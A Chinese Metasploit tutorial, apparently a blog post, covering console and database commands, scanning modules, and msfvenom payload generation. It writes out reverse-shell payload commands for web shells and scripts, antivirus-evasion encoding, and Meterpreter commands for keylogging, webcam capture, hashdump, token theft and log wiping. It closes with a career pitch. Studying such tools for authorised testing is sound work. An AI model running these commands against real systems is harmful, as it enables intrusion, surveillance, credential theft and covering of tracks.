Metasploit Framework(MSF)基础框架

Metasploit简介

Metasploit框架(Metasploit
Framework,MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。

常见名词解释:

POC : Proof of Concept ,概念证明,用来证明漏洞存在的一段代码,没有攻击性。
EXP : Exploit ,利用,利用系统漏洞进行攻击的动作、方式、方法,具有攻击性。
Payload :有效载荷,指 Exploit 执行成功之后,真正在系统进行执行的代码或者指令。
Shellcode :一段用于利用漏洞而执行的代码,为16进制的机器码,由于其建立正向/反向 shell 而得名。
Client :客户端。
Team Server :服务端, C2 服务器, Beacon Payload 的控制器。
Beacon :是 Cobalt Strike 运行在目标主机上的 payload , Beacon 在隐蔽信道上我们提供服务,用于长期控制受感染主机。
C2 : Command & Control Server 的简称,也就是命令与控制。

MSF框架结构

Kali-metasploit 框架目录路径

/usr/share/metasploit-framework

1.data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的
可编辑文件。
2.documentation:包含框架的可用文档。
3.lib:metasploit的库文件夹。
4.plugins:用来存放metasploit的插件。
5.scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
6.tools:存放多种的命令行实用程序。
7.modules:存储metasploit的模块文件。

kali Metasploit 更新

msfconsole -v # 查看版本
apt-get update。#更新源
apt-get install metasploit-framework #安装MSF

MSF配置数据库

Metasploit支持使用数据库来保存渗透测试过程中获取的各种数据

开启 postgresql 数据库

service postgresql start #启动数据库

systemctl enable postgresql。 #开机自启动数据库

初始化 MSF 数据库

msfdb init

启动 msfconsole

msfconsole

Msfconsole 是 Metasploit 框架用户接口,我们能通过 Msfconsole 接口使用 Metasploit 中所有模块

Msfconsole 主要用于:

1. 管理Metasploit数据库

2. 管理会话
3. 配置启动Metasploit模块

启动
msfconsole 时,MSF会使用创建的 msf 用户自动登录到 msf 数据库

查看数据库连接状态

db_status

连接到其他数据库

1.msf6 > db_connect 用户名:口令@服务器地址:端口/数据库名称

MSF内网主机发现

db_nmap:该命令是 Nmap 的一个封装,与 Nmap 使用方法一样,其执行结果会自动

输入到数据库当中

db_nmap:该命令是 Nmap 的一个封装,与 Nmap 使用方法一样,其执行结果会自动输入到数据库当中。

-PA:TCP ACK PING扫描
-PS:TCP SYNPING扫描
-PR:ARP扫描是nmap对目标进行一个arp ping扫描的过程,尤其在内网的情况 下。因为防火墙不会禁止ARP请求。
hosts:列出当前工作区所有主机

servers:列出当前工作区所有主机服务

端口、服务、版本探测
-T[0-5]:默认为T3,T4表示最大TCP扫描延迟为10ms
-sS:TCP SYN扫描
-sA:TCP ACK扫描
-sT:TCP 扫描
-A:打开操作系统探测和版本探测

漏洞探测

–script=vuln:检查是否具有常见漏洞

db_nmap -Pn -sV xxx.xxx.xxx.0/24

以将Nmap扫描结果导出为一个输出文件,并导入渗透测试数据库中,只要在Nmap 命令中加入-oX参数

nmap -Pn -sV -oX dmz xxx.xxx.xxx.xxx/24

扫描结束后,在当前目录下生成名为dmz的文件,可以在msf终端中导入数据库中

db_import /root/dmz

db_import命令还能识别 Acunetix,Amap,Appscan,Burp Session,Microsoft Baseline Security
Analyzer,Nessus,NetSparker,NeXpose,OpenVAS Report,Rentina 等扫描器的结果。

MSF命令查询

常用命令

show exploits – 查看所有可用的渗透攻击程序代码

show auxiliary – 查看所有可用的辅助攻击工具

[show ]options/advanced – 查看该模块可用选项

show payloads – 查看该模块适用的所有载荷代码

show targets – 查看该模块适用的攻击目标类型

search – 根据关键字搜索某模块

info – 显示某模块的详细信息
use – 使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数

setg/unsetg – 设置/禁用适用于所有模块的全局参数

数据库管理命令

msfdb init #启动并初始化数据库

msfdb reinit #删除并重新初始化数据库

msfdb delete #删除并停止使用数据库

msfdb start #启动数据库

msfdb stop #停止数据库

msfdb status #检查服务状态

msfdb run #启动数据库并运行msfconsole

核心命令

? 帮助菜单
banner 显示 Metasploit banner信息
cd 更改当前工作目录
color 切换颜色
connect 与主机通信
debug 显示对调试有用的信息
exit 退出控制台
features 显示可以选择加入的尚未发布的功能列表
get 获取特定变量的值
getg 获取全局变量的值
grep 筛选以一条命令的输出
help 帮助菜单
history 显示命令历史记录
load 加载框架插件
quit 退出控制台
repeat 重复一个命令列表
route 通过一个session会话路由流量
save 保存活动的数据存储
sessions 导出会话列表并显示会话信息
set 将一个特定环境的变量设置为一个值
setg 将一个全局变量设置为一个值
sleep 在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 查看和操作后台线程
tips 显示有用的提示清单
unload 卸载框架插件
unset 取消设置的一个或多个变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号

模块命令

advanced 显示一个或多个模块的高级选项
back 从当前环境返回
clearm 清除模块堆栈
favorite 将模块添加到最喜欢的模块列表中
info 显示一个或多个模块的详细信息
listm 列表中的模块栈
loadpath 从路径中搜索并加载模块
options 显示一个或多个模块全局选项
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动模块或模块列表推送到模块堆栈
reload_all 重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的的模块或所有模块
use 通过名称或搜索词/索引选择使用模块

作业命令

handler 启动一个payload处理程序作为job jobs 显示和管理 jobs
kill 杀掉一个job
rename_job 重命名一个job

资源脚本命令

makerc 将从开始输入的命令保存到文件中

resource 运行存储在文件中的命令

后端数据库命令

analyze 分析关于一个特定地址或地址范围的数据库信息
db_connect 连接到一个现有的数据服务
db_disconnect 与当前的数据服务断开连接
db_export 导出一个包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块缓存(已废弃)
db_remove 删除已保存的数据服务条目
db_save 将当前的数据服务连接保存为默认,以便在启动时重新连接
db_status 显示当前的数据服务状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作空间之间切换

后端凭证命令

creds 列出数据库中的所有凭证

开发者命令

edit 用首选编辑器编辑当前模块或文件
irb 在当前环境下打开一个交互式Ruby shell
log 如果可能的话,将framework.log分页显示到最后

pry 在当前模块或框架上打开 Pry 调试器
reload_lib 从指定路径重新加载Ruby库文件
time 运行一个特定命令所需的时间

攻击载荷命令

check 检查一个目标是否易受攻击
generate 生成一个有效载荷
reload 从磁盘重新加载当前的模块
to_handler 用指定的有效载荷创建一个处理程序

MSF模块介绍

模块是通过Metasploit框架装载集成对外提供的最核心的渗透测试功能实现代码。
MSF所有的漏洞测试都是基于模块。

Metasploit 中有以下 7 种不同的模块类型

模块名模块功能模块介绍
auxiliary辅助模块辅助渗透(端口扫描、登录密码爆破、漏洞验证等)

exploits

|

漏洞利用模块

|

包含主流的漏洞利用脚本,通常是对某些可能存在漏 洞的目标进行漏洞利用。

命名规则:操作系统/各种应用协议分类

payloads

|

攻击载荷模块

|

主要是攻击成功后在目标机器执行的代码,比如反弹 shell的代码

post

|

后渗透阶段模块

|

漏洞利用成功获得meterpreter之后,向目标发送的 一些功能性指令,如:提权等

encoders

|

编码器模块

|

主要包含各种编码工具,对payload进行编码加密, 以便绕过入侵检测和过滤系统

nops

|

空指令模块

|

空指令就是空操作,提高paylaod稳定性及维持大小

evasion| 躲避模块|

用来生成免杀payload

auxiliary 辅助模块

用于辅助操作的模块,例如网络扫描、枚举、漏洞扫描、登录暴力破解、模糊测试、 蜘蛛(遍历)、数据提取等;
辅助模块能在渗透之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻 击。 包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码口令破解、敏
感信息嗅探、fuzz、实施网络协议欺骗等模块在渗透信息搜集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码、口令猜测等模块。此外,辅助模块中还包括一些无
须加载攻击载荷,同时往往不是取得目标系统远程控制权的渗透攻击,例如:拒绝服
务攻击。

exploits 漏洞利用模块

用于利用漏洞和传递有效负载的模块。有远程漏洞利用、本地漏洞利用、权限提升漏 洞利用、客户端漏洞利用、Web 应用程序漏洞利用和许多其他漏洞。
利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对目标系统访问控制权的代码组件。metasploit框架中渗透攻击模块可以按照所利用的安全漏洞所在的位置分为主动渗透攻击与被动渗透攻击两大类。

payloads 攻击载荷模块

用于在利用期间执行操作的模块,例如建立 Meterpreter会话、反向shell、执行命令、下载和执行程序等。

攻击载荷是在渗透攻击成功后在目标系统运行的一段植入代码,通常是为渗透攻击者 打开在目标系统上的控制会话连接。在传统的渗透代码开发中,攻击载荷只是一段功
能简单的ShellCode代码,以汇编语言编制并转换为目标系统CPU体系结构支持的机
器代码,在渗透攻击触发漏洞后,将程序执行流程劫持并跳转入这段机器代码中执 行,从而完成ShellCode中实现的单一功能。

Post 后渗透攻击模块

用于在拿到权限后进行后渗透利用操作的模块,例如凭证/哈希转储、本地权限提 升、后门安装、敏感数据提取、网络流量隧道(代理)、键盘记录、屏幕捕获和许多
其他操作。

nops 空指令模块
用于生成无害、良性的“无操作”指令的模块,例如用于填充目的、在利用期间在内存 中滑动等。
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。
在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行Shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的
Shellcode执行失败,从而提高渗透攻击的可靠性。
metasploit框架中的空指令模块就是用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。

Encoders 编码器模块

用于有效负载编码和加密的模块,例如base64、XOR、shikata_ga_nai等。这有助于混淆以规避防病毒或
NIDS(网络入侵检测系统)、EDR(端点检测和响应)等防御。

Evasions 规避模块

用于规避防御的模块,例如防病毒规避、AppLocker 绕过、软件限制策略 (SRP) 绕过等。

搜索 MSF 常见模块及详细使用方法:

https://www.infosecmatter.com/metasploit-module-library/

MSF辅助扫描模块 - auxiliary

MSF主机发现

模块路径: modules/auxiliary/scanner/discovery

搜索模块

arp_sweep:使用arp请求枚举本地局域网中的所有活跃主机

udp_sweep:通过发送UDP数据包探查指定主机是否活跃,并发现主机上的udp服务。

arp_sweep模块使用方法:

use auxiliary/scanner/discovery/arp_sweep #使用模块

set rhosts XXX.XXX.XXX.XXX #目标IP
set threads 30 #扫描线程30
run #启动扫描器

![](https://img-
blog.csdnimg.cn/4f9a20ad631346b1b4751b2749a03893.png)![](https://img-
blog.csdnimg.cn/3d46bc81bfe14ee09ab3a7e02f1ed88b.png)

MSF服务扫描

服务扫描
确定开放端口后,对相应端口上所运行的服务信息进行挖掘
模块搜索
在 Metasploit 的 Scanner 辅助模块中,用于服务扫描和查点的工具常以[service_name]_version 和
[service_name]_login 命名

[service_name]_version :可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本
[service_name]_login   :可对某种服务进行口令探测攻击


在MSF终端输入:search _login

查看所有可用的服务探测模块

在MSF终端输入:search _version

可查看所有服务登录口令探测模块

Telnet服务模块

模块搜索

search scanner/telnet

telnet登录 
auxiliary/scanner/telnet/telnet_login
扫描telnet版本 
auxiliary/scanner/telnet/telnet_version

模块使用

1.use auxiliary/scanner/telnet/telnet_version 
2.set RHOSTS xxx.xxx.xxx/24
3.set THREADS 30
4.run

SSH服务扫描

 search scanner/ssh

模块使用

1.ssh登录
auxiliary/scanner/ssh/ssh_login
2.ssh公共密钥认证登录
auxiliary/scanner/ssh/ssh_login_pubkey
3.扫描ssh版本测试
auxiliary/scanner/ssh/ssh_version

show options:查看设置选项 yes:需要设置

1.use auxiliary/scanner/ssh/ssh_version
2.set RHOSTS xx.xx.xx.x/24
3.set THREADS 100
4.run

Oracle数据库扫描
search scanner/oracle

使用方法同上

SMB服务扫描

search scanner/smb

1.SMB枚举
auxiliary/scanner/smb/smb_enumusers
2.返回DCERPC信息
auxiliary/scanner/smb/pipe_dcerpc_auditor
3.扫描SMB2协议
auxiliary/scanner/smb/smb2
4.扫描smb共享文件
auxiliary/scanner/smb/smb_enumshares
5.枚举系统上的用户
auxiliary/scanner/smb/smb_enumusers
6.SMB登录
auxiliary/scanner/smb/smb_login
7.扫描组的用户
auxiliary/scanner/smb/smb_lookupsid
8.扫描系统版本
auxiliary/scanner/smb/smb_version

使用方法: 模块利用
use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor

MSSQL服务扫描

模块搜索

1.MSSQL登陆工具

scanner/mssql/mssql_login

2.测试MSSQL的存在和信息

scanner/mssql/mssql_ping

FTP扫描

search scanner/ftp

ftp版本扫描

scanner/ftp/ftp_version

ftp匿名登录扫描

scanner/ftp/anonymous

模块使用
use auxiliary/scanner/ftp/ftp_version
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run

SMTP扫描

search scanner/snmp

smtp 枚举

auxiliary/scanner/smtp/smtp_enum

扫描 smtp 版本

auxiliary/scanner/smtp/smtp_version

SNMP扫描

search scanner/snmp

模块使用

msf> use auxiliary/scanner/snmp/snmp_login

set RHOSTS 192.168.1.0/24

set THREADS 30

run

MSF端口扫描

模块路径

modules/auxiliary/scanner/portscan/

模块搜索

search scanner/portscan

// 通过 ACK 扫描的方式对防火墙上未被屏蔽的端口进行探测
auxiliary/scanner/protscan/ftpbounce
// 过 FTP bounce 攻通击的原理对 TCP 服务进行枚举,一些新的 FTP 服务器软件能很好的防范此攻击,但在旧的系统上仍可以被利用
auxiliary/scanner/protscan/syn
//使用发送 TCP SYN 标志的方式探测开放端口
auxiliary/scanner/protscan/tcp
// 通过一次完整的 TCP 连接来判断端口是否开放 最准确但是最慢
auxiliary/scanner/protscan/xmas
// 一种更为隐秘的扫描方式,通过发送 FIN , PSH , URG 标志,能够躲避一些高级的TCP标记检测器的过滤

#一般情况下推荐使用syn端口扫描器,速度较快,结果准确,不易被对方察觉

模块使用

use auxiliary/scanner/protscan/syn

set RHOSTS 10.10.10.10

set THREADS 20

run

WMAP

Web应用辅助扫描,漏洞查找等模块基本都在 modules/auxiliary/ 下,
Metasploit内置了wmap WEB扫描器,要先创建一个数据库用来存放扫描数据,初始化wmap

1.load wmap

2.help wmap

msf > wmap_sites -a http://202.112.50.74 // 添加要扫描的网站
msf > wmap_sites -l
msf > wmap_targets -t http://202.112.20.74 // 把添加的网站作为扫描目标
msf > wmap_run -t // 查看那些模块将在扫描中使用
msf > wmap_run -e // 开始扫描
msf > vulns // 查看漏洞信息

MSF攻击载荷模块

模块路径

/usr/share/metasploit-framework/modules/payloads

payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以进行程序注入等。

Payload类型

singles

独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp这个 payload。

stagers

传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻 击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常
相似,大致分为bind型和reverse型,bind型是需要攻击机主动连接目标端口的;而
reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号

stages

传输体载荷,如shell,meterpreter等。在stagers建立好稳定的连接后,攻击机将
stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到
目标机的shell,或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命 令控制目标机。

meterpreter其实就是一个payload,它需要stagers和相应的stages配合运行,
meterpreter是运行在内存中的,通过注入dll文件实现,在目标机硬盘上不会留下文 件痕迹,所以在被入侵时很难找到。

Stageless payload & Staged payload

payload分为staged(分阶段)和stageless(不分阶段):

Stageless payload: /[arch]/

Stageless Meterpreter 是一个二进制文件,包含Meterpreter的所有必需部分以及所有必需的扩展全部捆绑在
一起,将完整的payload都编译在木马中,体积庞大,可直接独立地植入目标系统进行执行

Staged payload: /[arch]//

Staged Meterpreter
负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,MSF提供了传输器和传输体配对分阶段植入的技术,由渗透攻击模块首先植入代码,短小精悍且可靠的传输器载荷,然后在运行传输器载荷时进一步下载传输体载荷并执行,比如加载meterpreter、VNC桌面控制等复杂的大型攻击载荷。
stageless和staged就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执行,还需通过其他工具和脚本进行管理。

Payload生成

MSF简介

Msfvenom — Metasploit 独立有效负载生成器,是用来生成后门的软件,在目标机上执行后门上线。

MSF生成payload

msfvenom选项

Options:
-p, --payload Payload to use. Specify a ‘-’ or stdin to use
custom payloads

指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取

–payload-options List the payload’s standard options

列出指定 Payload 的标准可选配置项

-l, --list [type] List a module type. Options are: payloads, encoders,
nops, all

列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all

-n, --nopsled Prepend a nopsled of [length] size on to the payload

指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)

-f, --format Output format (use --help-formats for a list)

指定 Payload 的输出格式

–help-formats List available formats

列出所有可用的输出格式

-e, --encoder The encoder to use

指定使用的 Encoder

-a, --arch The architecture to use

指定目标系统架构

–platform The platform of the payload

指定目标系统平台

–help-platforms List available platforms

列出可用的平台

-s, --space The maximum size of the resulting payload

设置未经编码的 Payload 的最大长度

–encoder-space The maximum size of the encoded payload (defaults
to the -s value)

编码后的 Payload 的最大长度

-b, --bad-chars The list of characters to avoid example: ‘\x00\xff’

设置需要在 Payload 中避免出现的字符

-i, --iterations The number of times to encode the payload

设置 Payload 的编码次数

-c, --add-code Specify an additional win32 shellcode file to include

指定包含一个额外的win32 shellcode文件

-x, --template Specify a custom executable file to use as a template

指定一个特定的可执行文件作为模板

-k, --keep Preserve the template behavior and inject the payload as a new
thread

保护模板程序的功能,注入的payload作为一个新的进程运行

-o, --out Save the payload

保存 Payload 到文件

-v, --var-name Specify a custom variable name to use for certain
output formats

指定一个变量名

#(译者注:当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码

追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)

–smallest Generate the smallest possible payload

尽可能生成最短的 Payload

-h, --help Show this message

帮助

msfvenom生成payload

生成 payload ,有两个必须的选项: -p -f

使用 -p 来指定要使用的 payload

查看所有 MSF 可用的 payload 列表

msfvenom -l payloads

使用自定义的 payload

需要使用 “-”,比如:

cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

使用 -f 来指定 payload 的输出格式

msfvenom -p windows/meterpreter/bind_tcp -f exe

查看MSF支持的输出格式

msfvenom -l formats

查看可用平台

msfvenom -l platforms

对payload进行编码

如果你使用了 -b 选项(设定了规避字符集),会自动调用编码器。 其他情况下,你需要使用 -e 选项来使用编码模块,例如:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

查看可用的编码器

msfvenom -l encoders

迭代编码

使用 -i 选项进行多次编码

某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使 用一个真正意义上的AV规避方案。

 msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

规避字符
使用 -b 选项意味着在生成 payload 的时候对某些字符进行规避。当你使用这个选

项的时候,msfvenom会自动的使用合适的编码器对payload进行编码;比如:

msfvenom -p windows/meterpreter/bind_tcp -b \x00 -f raw

使用自定义可执行文件模板

默认的,msfvenom使用的模板文件保存在 msf/data/templates 目录中,如果你 想使用你自己的模板文件,你可以使用-x选项来指定,比如:

msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成 payload。

Msfvenom生成payload(web payload)

php:
msfvenom-p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > shell.php

asp:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=10.211.55.2 LPORT=3333 -f aspx - o shell.aspx

jsp:
Msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

war:
msfvenom-p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

Msfvenom生成payload(脚本payload)

python:
msfvenom-p python/meterpreter/reverse_tcp LHOST=
LPORT= -f raw > shell.py

bash:
msfvenom-p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

perl:
msfvenom-p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

PowerShell:
msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f
psh > shell.ps1
powershell.exe -ExecutionPolicy Bypass -File shell.ps1

Meterpreter扩展模块

meterpreter简介

Meterpreter 是一个高级、动态、可扩展的payload,简单理解是一个高级的 CMD,里面封装了Metasploit的功能

Meterpreter 是 Metasploit 框架中的一个扩展模块,作为溢出成功以后的攻击载
荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载 荷能够获得目标系统的一个Meterpreter shell的链接。

Meterpreter shell 作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一
些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕
捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信 息、显示远程机器的网络接口和IP地址等信息。

meterpreter 特点

Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要的。

进入meterpreter

background: 将当前session挂起
sessions[ -l]: 列出当前所有的session
sessions[ -i] id: 进入某个session

常用命令

background 放回后台
exit 关闭会话
help 帮助信息
sysinfo 系统平台信息
screenshot 屏幕截取
shell 命令行shell (exit退出)
getlwd 查看本地目录
lcd 切换本地目录
getwd 查看目录
ls 查看文件目录列表
cd 切换目录
rm 删除文件
download C:\\1.txt 1.txt 下载文件
upload /var/www/wce.exe wce.exe 上传 文件
search -d c: -f *.doc 搜索文件
execute -f cmd.exe -i 执行程序/命令
ps 查看进程
getuid 查看当前用户权限 run killav 关闭杀毒软件
run getgui-e 启用远程桌面

meterpreter常用shell

reverse_tcp

基于TCP的反弹shell:

linux/x86/meterpreter/reverse_tcp

windows/meterpreter/reverse_tcp

reverse_http

基于http方式的反向连接,在网速慢的情况下不稳定。

windows/meterpreter/reverse_https

bind_tcp

基于TCP的正向连接shell,因为在内网跨网段时无法连接到攻击者的机器,所以在内网中经常会使用,不需要设置LHOST。

linux/x86/meterpreter/bind_tcp

meterpreter命令详解

核心命令

? – 帮助菜单
background – 将当前会话移动到后台
bg - background的别名
bgkill – 总之后台 meterpreter 脚本
bglist – 列出后台运行中的脚本
bgrun – 作为一个后台线程运行脚本
channel – 显示活动频道
close – 关闭通道
disable_unicode_encoding - 禁用unicode字符串的编码
enable_unicode_encoding - 启用unicode字符串的编码
exit – 终止 meterpreter 会话
help – 帮助菜单
info - 显示有关Post模块的信息
irb - 在当前会话上打开交互式 Ruby 外壳
load - 加载一个或多个meterpreter扩展
machine_id - 获取连接到会话的计算机的 MSF ID
migrate - 将服务迁移到另一个进程
pivot - 管理pivot侦听器
pry - 打开当前会话上的pry调试器
quit - 终止 meterpreter 会话
read - 从通道中读取数据
resource - 运行存储在文件中的命令
run - 执行一个meterpreter 脚本 或者 Post模块
secure - 在会话中协商TLV分组加密
sessions - 快速切换到另外一个session
set_timeouts - 设置当前会话的超时值
sleep - 强制meterpreter停止活动,然后重新建立会话
transport - 改变目前的运输机制.
use - 加载 meterpreter 的扩展,'load’的旧别名
uuid - 获取当前会话的UUID
write – 将数据写入到一个通道

文件系统命令

cat - 读取并输出到标准输出文件的内容
cd - 更改目录对受害人
checksum - 检索文件的校验和
cp - 将源复制到目标
dir - 列出文件(别名为 ls)
download - 下载文件或目录
edit - 编辑文件
getlwd - 输出本地工作目录
getwd - 输出工作目录
lcd - 更改本地工作目录
lls - 列出本地文件
lpwd - 输出本地工作目录
ls - 列出当前目录中的文件列表
mkdir - 创建目录
mv - 将源移动到目标
rm - 删除指定的文件
rmdir - 删除目录
search - 在目标主机文件系统上查找搜索文件 例如:search -d
c:\\ -f *.doc - 在目标主机C盘下搜索doc文档
show_mount - 列出所有装载点/逻辑驱动器
upload - 上传文件或目录

网络命令

arp - 显示主机ARP缓存
getproxy - 显示当前代理配置
ifconfig - 显示网络接口的关键信息
ipconfig - 显示网络接口的关键信息
netstat - 显示网络连接
portfwd - 将本地端口转发到远程服务
例如:portfwd add -l 1122 -p 3389 -r
192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口
resolve - 解析目标上的一组主机名
route - 查看或加入受害者路由表 route add 5.5.5.0
255.255.255.0 1 用sessions 1会话加入指定网段

系统命令

clearev - 清除事件日志
drop_token - 放弃任何活动模拟令牌。
execute - 执行命令,在目标主机上运行某个程序 execute -f
notepad.exe ,执行目标主机上的记事本程序,隐藏后台执行,加参数-H
getenv - 获取一个或多个环境变量值
getpid - 获取当前进程 ID (PID)
getprivs - 尝试启用当前进程可用的所有权限
getsid - 获取当前运行服务用户的SID
getuid - 获取当前运行服务的用户
kill - 终止进程
localtime - 显示目标系统的本地日期和时间
pgrep - 按名称显示进程
pkill - 按名称终止进程
ps - 列出正在运行的进程
reboot - 重新启动受害人的计算机
reg - 与受害人的注册表进行交互
rev2self - 在受害者机器上调用 RevertToSelf()
shell - 在远程计算机上打开一个shell
shutdown - 关闭远程计算机
steal_token - 试图窃取指定的 (PID) 进程的令牌
suspend - 挂起或恢复进程列表
sysinfo - 获取关于远程系统的信息,如操作系统

用户界面命令

enumdesktops - 列出所有可访问的desktops和Windows
getdesktop - 获取当前的 meterpreter 桌面
idletime - 检查长时间以来,受害者系统空闲进程
keyboard_send - 发送一个键盘记录器
keyevent - 发送key事件
keyscan_dump - 转储键盘记录器缓冲区内容
keyscan_start - 启动键盘记录器
keyscan_stop - 停止键盘记录器
mouse - 发送鼠标事件
screenshare - 实时监视远程用户的桌面
screenshot - 抓取交互式桌面的屏幕截图
setdesktop - 更改 meterpreter 当前桌面
uictl - 启用用户界面组件的一些控件

摄像头命令

record_mic - 从默认麦克风记录音频X秒
webcam_chat - 启动视频聊天
webcam_list - 列出摄像头
webcam_snap - 从指定的网络摄像头获取snapshot
webcam_stream - 从指定的网络摄像头播放视频流

音频输出命令

play - 在目标系统上播放波形音频文件(.wav)

提权命令

getsystem - 获得系统管理员权限

密码转储命令

hashdump - 抓取哈希密码 (SAM) 文件中的值
hashdump 可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,”run hashdump”和”run smart_hashdump”。

Timetomp

timestomp 操作修改文件的MACE属性
Modified: 修改时间
Accessed: 访问时间
Created: 创建时间
Entry Modified: 条目修改时间

参考:

【译】Metasploit:如何使用 msfvenom - 简书

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

2023届全国高校毕业生预计达到1158万人,就业形势严峻;

国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

img

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

行业发展空间大,岗位非常多

